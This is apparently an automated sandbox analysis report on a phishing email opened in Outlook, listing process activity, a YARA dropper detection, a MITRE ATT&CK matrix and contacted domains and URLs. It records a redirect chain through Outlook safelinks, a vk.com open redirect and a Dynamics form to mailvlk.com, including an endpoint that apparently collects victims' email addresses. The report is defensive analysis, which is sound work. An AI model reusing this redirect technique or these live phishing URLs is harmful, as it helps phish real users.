Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://nam10.safelinks.protection.outlook.com/?url=http%3A%2F%2Fvk.com%2Faway.php%3Fto%3Dhttps%3A%2F%2Fassets-usa.mkt.dynamics.com%2F97791573-a900-ef11-9f85-00224828202e%2Fdigitalassets%2Fstandaloneforms%2Fbeb26e16-c500-ef11-a1fd-6045bdd3b636&data=05%7C02%7Clanderson%40american-pcs.com%7C12a2a023526d4f13ec3008dc63d6fc83%7C48af3ff71bb24e8b9762c9e61a8503a9%7C0%7C0%7C638495022247675574%7CUnknown%7CTWFpbGZsb3d8eyJWIjoiMC4wLjAwMDAiLCJQIjoiV2luMzIiLCJBTiI6Ik1haWwiLCJXVCI6Mn0%3D%7C40000%7C%7C%7C&sdata=wmZ9CPEGbqFv%2B8gk%2BkjZ7S5r0b%2B7AC1Ezstrt9P7SuM%3D&reserved=0	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2228 --field-trial-handle=2032,i,8312414958916213357,7330150477542557016,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe	Section loaded: c2r64.dll	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe	Section loaded: gpapi.dll	Jump to behavior

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Office\ClickToRun\REGISTRY\MACHINE\Software\Classes\Wow6432Node\CLSID\{F959DBBB-3867-41F2-8E5F-3B8BEFAA81B3}\InprocServer32

Jump to behavior

Source: Google Drive.lnk.5.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: YouTube.lnk.5.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Sheets.lnk.5.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Gmail.lnk.5.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Slides.lnk.5.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Docs.lnk.5.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE

Window found: window name: SysTabControl32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE

Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Office\Common

Jump to behavior

Data Obfuscation

Yara detected Html Dropper

Source: Yara match	File source: 4.12.pages.csv, type: HTML
Source: Yara match	File source: 4.9.pages.csv, type: HTML
Source: Yara match	File source: 4.10.pages.csv, type: HTML

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk	Jump to behavior

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE

File Volume queried: C:\Windows\SysWOW64 FullSizeInformation

Jump to behavior

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe

Queries volume information: C:\Program Files (x86)\Microsoft Office\root\Office16\AI\WordCombinedFloatieLreOnline.onnx VolumeInformation

Jump to behavior

Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	1 DLL Side-Loading	1 Process Injection	1 Masquerading	OS Credential Dumping	1 Process Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	1 Registry Run Keys / Startup Folder	1 DLL Side-Loading	1 Process Injection	LSASS Memory	13 System Information Discovery	Remote Desktop Protocol	Data from Removable Media	4 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	1 Registry Run Keys / Startup Folder	1 DLL Side-Loading	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	5 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	1 Extra Window Memory Injection	1 Extra Window Memory Injection	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	3 Ingress Tool Transfer	Traffic Duplication	Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
part-0041.t-0009.t-msedge.net	0%	Virustotal		Browse
mailvlk.com	0%	Virustotal		Browse

URLs

Source	Detection	Scanner	Label
https://mailvlk.com/x/8abb7bfd970b4f43108624cbc2c64b5066290cc3b78c2	0%	Avira URL Cloud	safe
https://mailvlk.com/1	0%	Avira URL Cloud	safe
https://mailvlk.com/boot/8abb7bfd970b4f43108624cbc2c64b5066290cc184dbe	0%	Avira URL Cloud	safe
https://mailvlk.com/jq/58461f18f36cbc9854a411ccf4ae8dbb66290c79904d0	0%	Avira URL Cloud	safe
https://mailvlk.com	0%	Avira URL Cloud	safe
https://mailvlk.com/js/58461f18f36cbc9854a411ccf4ae8dbb66290c79904d8	0%	Avira URL Cloud	safe
https://mailvlk.com/js/8abb7bfd970b4f43108624cbc2c64b5066290cc184dbf	0%	Avira URL Cloud	safe
https://mailvlk.com/API.php?data=mail&email=rickd@gmail.com&_=1713966201970	0%	Avira URL Cloud	safe
https://mailvlk.com/boot/58461f18f36cbc9854a411ccf4ae8dbb66290c79904d5	0%	Avira URL Cloud	safe
https://mailvlk.com/o/8abb7bfd970b4f43108624cbc2c64b5066290cc3b78df	0%	Avira URL Cloud	safe
https://mailvlk.com/jq/8abb7bfd970b4f43108624cbc2c64b5066290cc184dba	0%	Avira URL Cloud	safe
https://mailvlk.com/ASSETS/img/sig-op.svg	0%	Avira URL Cloud	safe
https://mailvlk.com/APP-58461f18f36cbc9854a411ccf4ae8dbb66290c7bcafe0/58461f18f36cbc9854a411ccf4ae8dbb66290c7bcafe1	0%	Avira URL Cloud	safe
https://mailvlk.com/cdn-cgi/challenge-platform/h/b/flow/ov1/1894439682:1713964362:f3bhfDBv5QOakV6M8k-1UjyH98EctZInS5uS_6Qc31k/879685369a8a0fc1/fc4adc0f3b83a0b	0%	Avira URL Cloud	safe
https://mailvlk.com/ASSETS/img/m_.svg	0%	Avira URL Cloud	safe
https://mailvlk.com/cdn-cgi/challenge-platform/h/b/orchestrate/chl_page/v1?ray=879685369a8a0fc1	0%	Avira URL Cloud	safe
https://mailvlk.com/o/58461f18f36cbc9854a411ccf4ae8dbb66290c7bcb00b	0%	Avira URL Cloud	safe
https://mailvlk.com/favicon.ico	0%	Avira URL Cloud	safe
https://mailvlk.com/x/58461f18f36cbc9854a411ccf4ae8dbb66290c7bcafe6	0%	Avira URL Cloud	safe
https://mailvlk.com/APP-8abb7bfd970b4f43108624cbc2c64b5066290cc3b78bc/8abb7bfd970b4f43108624cbc2c64b5066290cc3b78bd	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
nam10.safelinks.protection.outlook.com	104.47.70.28	true	false		high
a.nel.cloudflare.com	35.190.80.1	true	false		high
away.vk.com	87.240.137.164	true	false		high
part-0041.t-0009.t-msedge.net	13.107.246.69	true	false	0%, Virustotal, Browse	unknown
challenges.cloudflare.com	104.17.2.184	true	false		high
mailvlk.com	104.21.50.148	true	false	0%, Virustotal, Browse	unknown
www.google.com	142.250.141.104	true	false		high
prdia888eus0aks.mkt.dynamics.com	52.146.76.30	true	false		high
vk.com	87.240.132.72	true	false		high
public-usa.mkt.dynamics.com	unknown	unknown	false		high
assets-usa.mkt.dynamics.com	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://mailvlk.com/024407056a4bd44a76e3518653fce74f66290c7892bf7LOG024407056a4bd44a76e3518653fce74f66290c7892bf8	true		unknown
https://public-usa.mkt.dynamics.com/api/v1.0/orgs/97791573-a900-ef11-9f85-00224828202e/landingpageforms/forms/beb26e16-c500-ef11-a1fd-6045bdd3b636/visits	false		high
https://mailvlk.com/x/8abb7bfd970b4f43108624cbc2c64b5066290cc3b78c2	false	Avira URL Cloud: safe	unknown
https://mailvlk.com/boot/8abb7bfd970b4f43108624cbc2c64b5066290cc184dbe	false	Avira URL Cloud: safe	unknown
https://mailvlk.com/1	false	Avira URL Cloud: safe	unknown
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/flow/ov1/888799833:1713964597:_2LbCDHkv-P-tuM5wGyxvE8cQNjPu28uIC6w7PvfxTk/879685459c6269e3/16306502cf695e3	false		high
https://assets-usa.mkt.dynamics.com/favicon.ico	false		high
https://mailvlk.com/jq/58461f18f36cbc9854a411ccf4ae8dbb66290c79904d0	false	Avira URL Cloud: safe	unknown
https://assets-usa.mkt.dynamics.com/97791573-a900-ef11-9f85-00224828202e/digitalassets/images/ee5a3db9-c400-ef11-a1fd-6045bdd3b636?ts=638493998497242870	false		high
https://mailvlk.com/js/58461f18f36cbc9854a411ccf4ae8dbb66290c79904d8	false	Avira URL Cloud: safe	unknown
https://mailvlk.com/js/8abb7bfd970b4f43108624cbc2c64b5066290cc184dbf	false	Avira URL Cloud: safe	unknown
https://mailvlk.com/API.php?data=mail&email=rickd@gmail.com&_=1713966201970	false	Avira URL Cloud: safe	unknown
https://a.nel.cloudflare.com/report/v4?s=4Lncfb%2Bf0ZgvAUhn0ZSU26EkkRYS%2Fy3%2F9%2BRSTmUcjYS%2BZr0GpLA7Q1dyMm6Nj3r6WSqlTzqR%2Bmu5ZoPJbyGe6yZelcsnTuZEL0gAXNQa%2FeIZCP6orypMo6DJJ%2F8yMw%3D%3D	false		high
https://mailvlk.com/boot/58461f18f36cbc9854a411ccf4ae8dbb66290c79904d5	false	Avira URL Cloud: safe	unknown
https://mailvlk.com/?__cf_chl_tk=N7uH4Kxa9_0RyojcAoiu.zjjUwtHsqzk0ADVK3Dx5Fs-1713966186-0.0.1.1-1557	false		unknown
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/i/879685459c6269e3/1713966190447/vp3T4ue4sM7hYw8	false		high
https://mailvlk.com/o/8abb7bfd970b4f43108624cbc2c64b5066290cc3b78df	false	Avira URL Cloud: safe	unknown
https://assets-usa.mkt.dynamics.com/97791573-a900-ef11-9f85-00224828202e/digitalassets/forms/beb26e16-c500-ef11-a1fd-6045bdd3b636	false		high
https://mailvlk.com/jq/8abb7bfd970b4f43108624cbc2c64b5066290cc184dba	false	Avira URL Cloud: safe	unknown
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/cmg/1/wh0E0SXYnx6pTBdJW%2Fl926I%2BPRUplRdtQz3K9lHXs%2Fs%3D	false		high
https://nam10.safelinks.protection.outlook.com/?url=http%3A%2F%2Fvk.com%2Faway.php%3Fto%3Dhttps%3A%2F%2Fassets-usa.mkt.dynamics.com%2F97791573-a900-ef11-9f85-00224828202e%2Fdigitalassets%2Fstandaloneforms%2Fbeb26e16-c500-ef11-a1fd-6045bdd3b636&data=05%7C02%7Clanderson%40american-pcs.com%7C12a2a023526d4f13ec3008dc63d6fc83%7C48af3ff71bb24e8b9762c9e61a8503a9%7C0%7C0%7C638495022247675574%7CUnknown%7CTWFpbGZsb3d8eyJWIjoiMC4wLjAwMDAiLCJQIjoiV2luMzIiLCJBTiI6Ik1haWwiLCJXVCI6Mn0%3D%7C40000%7C%7C%7C&sdata=wmZ9CPEGbqFv%2B8gk%2BkjZ7S5r0b%2B7AC1Ezstrt9P7SuM%3D&reserved=0	false		high
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/pat/879685459c6269e3/1713966190448/a6aceae44c8468ff349a880897d3c52fb1b769f9be6ebd411bda96dd08a8895e/Fd6jCqic8-nVFty	false		high
https://mailvlk.com/ASSETS/img/sig-op.svg	false	Avira URL Cloud: safe	unknown
http://vk.com/away.php?to=https://assets-usa.mkt.dynamics.com/97791573-a900-ef11-9f85-00224828202e/digitalassets/standaloneforms/beb26e16-c500-ef11-a1fd-6045bdd3b636	false		high
https://assets-usa.mkt.dynamics.com/97791573-a900-ef11-9f85-00224828202e/digitalassets/images/ef5a3db9-c400-ef11-a1fd-6045bdd3b636?ts=638493998497242870	false		high
https://mailvlk.com/cdn-cgi/challenge-platform/h/b/flow/ov1/1894439682:1713964362:f3bhfDBv5QOakV6M8k-1UjyH98EctZInS5uS_6Qc31k/879685369a8a0fc1/fc4adc0f3b83a0b	false	Avira URL Cloud: safe	unknown
https://mailvlk.com/ASSETS/img/m_.svg	false	Avira URL Cloud: safe	unknown
https://mailvlk.com/cdn-cgi/challenge-platform/h/b/orchestrate/chl_page/v1?ray=879685369a8a0fc1	false	Avira URL Cloud: safe	unknown
https://mailvlk.com/	false		unknown
https://mailvlk.com/APP-58461f18f36cbc9854a411ccf4ae8dbb66290c7bcafe0/58461f18f36cbc9854a411ccf4ae8dbb66290c7bcafe1	false	Avira URL Cloud: safe	unknown
https://vk.com/away.php?to=https://assets-usa.mkt.dynamics.com/97791573-a900-ef11-9f85-00224828202e/digitalassets/standaloneforms/beb26e16-c500-ef11-a1fd-6045bdd3b636	false		high
